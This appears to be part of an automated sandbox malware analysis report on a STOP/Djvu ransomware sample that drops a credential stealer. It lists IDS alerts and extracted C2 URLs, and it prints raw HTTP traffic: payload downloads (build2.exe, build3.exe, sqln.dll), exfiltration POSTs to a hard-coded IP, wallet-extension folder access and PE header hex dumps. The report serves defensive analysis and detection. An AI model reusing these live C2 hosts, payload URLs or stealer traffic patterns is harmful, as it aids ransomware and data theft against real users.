Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: AaIo4VGgvO.exe, 00000004.00000003.2136761292.0000000003477000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2136156466.0000000003477000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2146907112.0000000003340000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2136424748.0000000003334000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2145581047.000000000333C000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2145052140.000000000330E000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137798043.0000000003490000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2136156466.00000000032F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\r' source: AaIo4VGgvO.exe, 00000004.00000003.2190121735.00000000036FD000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2187328951.00000000036DD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\* source: AaIo4VGgvO.exe, 00000004.00000003.2190787955.00000000032A4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\bat\{ source: AaIo4VGgvO.exe, 00000004.00000003.2088931285.0000000000981000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088329162.0000000000971000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\I source: AaIo4VGgvO.exe, 00000004.00000003.2089852321.0000000003187000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114895602.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114580956.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116312815.0000000003188000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116383631.000000000318B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088573099.0000000003170000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\he\w source: AaIo4VGgvO.exe, 00000004.00000003.2144138093.0000000003419000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137048054.0000000003410000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138658563.0000000003415000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\\f source: AaIo4VGgvO.exe, 00000004.00000003.2138048303.0000000003433000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2138701335.0000000003443000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137048054.0000000003410000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\C source: AaIo4VGgvO.exe, 00000004.00000003.2114807637.0000000003411000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115917286.0000000003414000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116232823.000000000342B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\bbwe\ source: AaIo4VGgvO.exe, 00000004.00000003.2214146560.00000000032B1000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2214184252.00000000032B7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: AaIo4VGgvO.exe, 00000004.00000003.2138048303.0000000003433000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088092006.00000000032E2000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114807637.0000000003411000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088822719.00000000032F6000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2087921126.00000000033E8000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2137048054.0000000003410000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2088776965.00000000032EC000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2115917286.0000000003414000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2116232823.000000000342B000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2114024554.00000000033E8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: AaIo4VGgvO.exe, 00000004.00000003.2213925776.00000000033E7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: build2.exe, 00000008.00000002.1879655056.000000001E8CF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1878697526.000000001C398000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\bwe\A source: AaIo4VGgvO.exe, 00000004.00000003.2213742071.0000000003309000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000003.2216237857.0000000003309000.00000004.00000020.00020000.00000000.sdmp, AaIo4VGgvO.exe, 00000004.00000002.2221891243.0000000003309000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_00410160 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_00410160
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	1_2_0040F730
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 1_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	1_2_0040FB98
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040F730 PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_0040F730
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_00410160 Sleep,PathFindFileNameW,PathFindFileNameW,_memmove,PathFindFileNameW,_memmove,PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,PathFindExtensionW,_wcsstr,_wcsstr,FindNextFileW,FindClose,	4_2_00410160
Source: C:\Users\user\Desktop\AaIo4VGgvO.exe	Code function: 4_2_0040FB98 PathAppendW,_memmove,PathFileExistsW,_malloc,lstrcpyW,lstrcatW,_free,FindFirstFileW,FindNextFileW,FindClose,	4_2_0040FB98

Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\58a25b76-7250-42af-84d2-f7f71d635f33\build2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.4:49733 -> 187.228.55.117:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.4:49733 -> 187.228.55.117:80
Source: Traffic	Snort IDS: 2833438 ETPRO TROJAN STOP Ransomware CnC Activity 192.168.2.4:49735 -> 189.195.132.134:80
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 189.195.132.134:80 -> 192.168.2.4:49734
Source: Traffic	Snort IDS: 2036335 ET TROJAN Win32/Filecoder.STOP Variant Public Key Download 189.195.132.134:80 -> 192.168.2.4:49735
Source: Traffic	Snort IDS: 2036333 ET TROJAN Win32/Vodkagats Loader Requesting Payload 192.168.2.4:49736 -> 189.195.132.134:80
Source: Traffic	Snort IDS: 2020826 ET TROJAN Potential Dridex.Maldoc Minimal Executable Request 192.168.2.4:49736 -> 189.195.132.134:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://steamcommunity.com/profiles/76561199673019888
Source: Malware configuration extractor	URLs: http://cajgtus.com/test1/get.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 23 Apr 2024 20:17:00 GMTContent-Type: application/octet-streamContent-Length: 296448Last-Modified: Tue, 23 Apr 2024 19:19:16 GMTConnection: closeETag: "662809b4-48600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 23 Apr 2024 20:17:22 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Mon, 09 Oct 2023 19:50:06 GMTETag: "4ae00-6074de5a4a562"Accept-Ranges: bytesContent-Length: 306688Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 36 f8 06 6b 72 99 68 38 72 99 68 38 72 99 68 38 cf d6 fe 38 73 99 68 38 6c cb fd 38 6e 99 68 38 6c cb eb 38 fc 99 68 38 55 5f 13 38 7b 99 68 38 72 99 69 38 c9 99 68 38 6c cb ec 38 32 99 68 38 6c cb fc 38 73 99 68 38 6c cb f9 38 73 99 68 38 52 69 63 68 72 99 68 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 0e d2 b9 61 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6a 03 00 00 98 3b 00 00 00 00 00 20 05 01 00 00 10 00 00 00 80 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 c0 3e 00 00 04 00 00 b0 bf 04 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c 68 03 00 64 00 00 00 00 90 3e 00 00 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 b8 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 68 03 00 00 10 00 00 00 6a 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 a8 ff 3a 00 00 80 03 00 00 0e 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 69 63 00 00 00 00 05 00 00 00 00 80 3e 00 00 02 00 00 00 7c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 00 2f 00 00 00 90 3e 00 00 30 00 00 00 7e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic

HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 172.67.139.220 172.67.139.220
Source: Joe Sandbox View	IP Address: 104.67.208.180 104.67.208.180

Source: Joe Sandbox View	ASN Name: UninetSAdeCVMX UninetSAdeCVMX
Source: Joe Sandbox View	ASN Name: MegaCableSAdeCVMX MegaCableSAdeCVMX

Source: Joe Sandbox View	JA3 fingerprint: 51c64c77e60f3980eea90869b68c58a8
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIEHIIIJDAAAAAAKECBUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 279Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EGDGIEGHJEGIDGCAFBFCUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----KJJJDHDGDAAKECAKJDAEUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 331Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKFIIJJKJJJJJJEGDAUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 6081Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCFIIEBKEGHJJJJJJDAAUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Content-Length: 4677Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149
Source: unknown	TCP traffic detected without corresponding DNS query: 95.217.9.149

Source: C:\Users\user\Desktop\AaIo4VGgvO.exe

Code function: 1_2_0040CF10 _memset,InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_0040CF10

Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /profiles/76561199673019888 HTTP/1.1Host: steamcommunity.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /sqln.dll HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Host: 95.217.9.149Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /geo.json HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: api.2ip.ua
Source: global traffic	HTTP traffic detected: GET /dl/build2.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: sdfjhuz.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /test1/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com
Source: global traffic	HTTP traffic detected: GET /files/1/build3.exe HTTP/1.1User-Agent: Microsoft Internet ExplorerHost: cajgtus.com

Source: build2.exe, 00000008.00000003.1739213836.000000000088E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ 